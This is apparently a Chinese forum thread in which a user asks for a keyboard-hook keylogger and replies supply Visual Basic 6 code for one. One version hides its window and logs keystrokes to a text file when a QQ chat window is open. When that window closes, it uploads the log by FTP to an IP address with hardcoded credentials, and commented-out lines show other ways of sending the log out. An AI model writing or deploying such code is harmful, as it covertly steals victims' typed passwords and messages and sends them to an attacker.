就是记录到ABCDEFG后把它一个个写到一个记事本中!
要钩子类型的!
能区分大小写最好;了!
就是记录到ABCDEFG后把它一个个写到一个记事本中!
要钩子类型的!
能区分大小写最好;了!
GetKetState键盘记录
Private Sub Command1_Click() Call StartHook End Sub Private Sub Command2_Click() Call StopHook End Sub Private Sub Form_Unload(Cancel As Integer) Call StopHook End Sub
加个模块!!!!!!!!!!!
名为:Module1
Option Explicit Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Public blnExit As Boolean Public Sub StartHook() Dim i As Integer On Error Resume Next For i = 1 To 256 GetAsyncKeyState i Next i blnExit = False Do While Not blnExit For i = &H8 To &H7B If (GetAsyncKeyState(i) And &H7FFF) <> 0 Then Select Case i Case &H30 To &H39, &H41 To &H5A '0-9,A-Z Form1.Text1.Text = Form1.Text1.Text & Chr(i) Case &H60 To &H69 '小键盘的0-9 Form1.Text1.Text = Form1.Text1.Text & Chr(i - 48) Case &H70 To &H7B 'F1~F12 Form1.Text1.Text = Form1.Text1.Text & "{F" & i -
Private Sub Form_Load() Dim txt Hide Open "c:\file.txt" For Output As 1 End Sub
Private Sub Timer2_Timer() Dim winHwnd As Long Dim RetVal As Long winHwnd = FindWindow(vbNullString, "QQ") 'Debug.Print winHwnd If winHwnd <> 0 Then 'MsgBox "kai" Timer3.Enabled = True Timer2.Enabled = False
End If
End Sub
Private Sub Timer1_Timer() Dim i As Integer, key As Integer 'Dim addkey key = GetAsyncKeyState(13) If key = -32767 Then 'Debug.Print key 'Debug.Print Chr(13) Print #1, "回车" End If 'enter key = GetAsyncKeyState(17) If key = -32767 Then 'Debug.Print key 'Debug.Print Chr(13) Write #1, "Ctrl" End If 'ctrl
key = GetAsyncKeyState(8) If key = -32767 Then 'Debug.Print key 'Debug.Print Chr(13) Print #1, "退格键" End If 'ctrl
key = GetAsyncKeyState(49) If key = -32767 Then Debug.Print key Debug.Print Chr(49) Write #1, Chr(49) End If '1 key = GetAsyncKeyState(50) If key = -32767 Then Print #1, Chr(50) End If '2 key = GetAsyncKeyState(51) If key = -32767 Then Print #1, Chr(51) End If '3 key = GetAsyncKeyState(52) If key = -32767 Then Print #1, Chr(52) End If '4 key = GetAsyncKeyState(53) If key = -32767 Then Print #1, Chr(53) End If '5 key = GetAsyncKeyState(54) If key = -32767 Then Print #1, Chr(54) End If '6 key = GetAsyncKeyState(55) If key = -32767 Then Print #1, Chr(55) End If '7 key = GetAsyncKeyState(56) If key = -32767 Then Print #1, Chr(56) End If '8 key = GetAsyncKeyState(57) If key = -32767 Then Print #1, Chr(57) End If '9 key = GetAsyncKeyState(48) If key = -32767 Then Print #1, Chr(48) End If '10 key = GetAsyncKeyState(65) If key = -32767 Then Print #1, Chr(65) End If 'A key = GetAsyncKeyState(66) If key = -32767 Then Print #1, Chr(66) End If 'b key = GetAsyncKeyState(67) If key = -32767 Then Print #1, Chr(67) End If 'c key = GetAsyncKeyState(68) If key = -32767 Then Print #1, Chr(68) End If 'd key = GetAsyncKeyState(69) If key = -32767 Then Print #1, Chr(69) End If 'e key = GetAsyncKeyState(70) If key = -32767 Then Print #1, Chr(70) End If 'f key = GetAsyncKeyState(71) If key = -32767 Then Print #1, Chr(71) End If 'g key = GetAsyncKeyState(72) If key = -32767 Then Print #1, Chr(72) End If 'h key = GetAsyncKeyState(73) If key = -32767 Then Print #1, Chr(73) End If 'i key = GetAsyncKeyState(74) If key = -32767 Then Print #1, Chr(74) End If 'j key = GetAsyncKeyState(75) If key = -32767 Then Print #1, Chr(75) End If 'k key = GetAsyncKeyState(76) If key = -32767 Then Print #1, Chr(76) End If 'l key = GetAsyncKeyState(77) If key = -32767 Then Print #1, Chr(77) End If 'm key = GetAsyncKeyState(78) If key = -32767 Then Print #1, Chr(78) End If 'n key = GetAsyncKeyState(79) If key = -32767 Then Print #1, Chr(79) End If 'o key = GetAsyncKeyState(80) If key = -32767 Then Print #1, Chr(80) End If 'p key = GetAsyncKeyState(81) If key = -32767 Then Print #1, Chr(81) End If 'q key = GetAsyncKeyState(82) If key = -32767 Then Print #1, Chr(82) End If 'r key = GetAsyncKeyState(83) If key = -32767 Then Print #1, Chr(83) End If 's key = GetAsyncKeyState(84) If key = -32767 Then Print #1, Chr(84) End If 't key = GetAsyncKeyState(85) If key = -32767 Then Print #1, Chr(85) End If 'u key = GetAsyncKeyState(86) If key = -32767 Then Print #1, Chr(86) End If 'v key = GetAsyncKeyState(87) If key = -32767 Then Print #1, Chr(87) End If 'w key = GetAsyncKeyState(88) If key = -32767 Then Print #1, Chr(88) End If 'x key = GetAsyncKeyState(89) If key = -32767 Then Print #1, Chr(89) End If 'y key = GetAsyncKeyState(90) If key = -32767 Then Print #1, Chr(90) End If 'z
End Sub
Private Sub Timer3_Timer() Dim winHwnd As Long Dim RetVal As Long winHwnd = FindWindow(vbNullString, "pcscm") Debug.Print winHwnd If winHwnd = 0 Then 'MsgBox "guan"
'Unload Me Close #1 'Shell ("cmd /c net send 10.32.13.23 aa ") 'Shell ("cmd /c copy c:\file.txt d:\aa.txt") 'Close #1 'Inet1.Execute " ftp://10.32.13.21" 'Inet1.Execute , "ssv" 'Inet1.Execute , "3049" 'Inet1.Execute , "bin" 'Inet1.Execute , "put" & "d:\aa.txt" Dim strCommand As String 'strCommand = " ftp://10.32.13.21@ssv,3049" + vbCrLf strCommand = Winsock1.LocalIP Debug.Print strCommand 'strCommand = "PUT " + "d:\aa.txt" + vbCrLf ''GET 为FTP命令 取得文件 'Winsock1.SendData strCommand 'Inet1.Execute " ftp://10.32.13.21@ssv,3049", "put d:\aa.txt"
With Inet1 .URL = " ftp://10.32.13.21" .UserName = "ssv" .Password = "3049" ' .Execute , "put c:\file.txt /abc" + strCommand + ".txt" End With Sleep 2000 Timer3.Enabled = False Unload Me
End If End Sub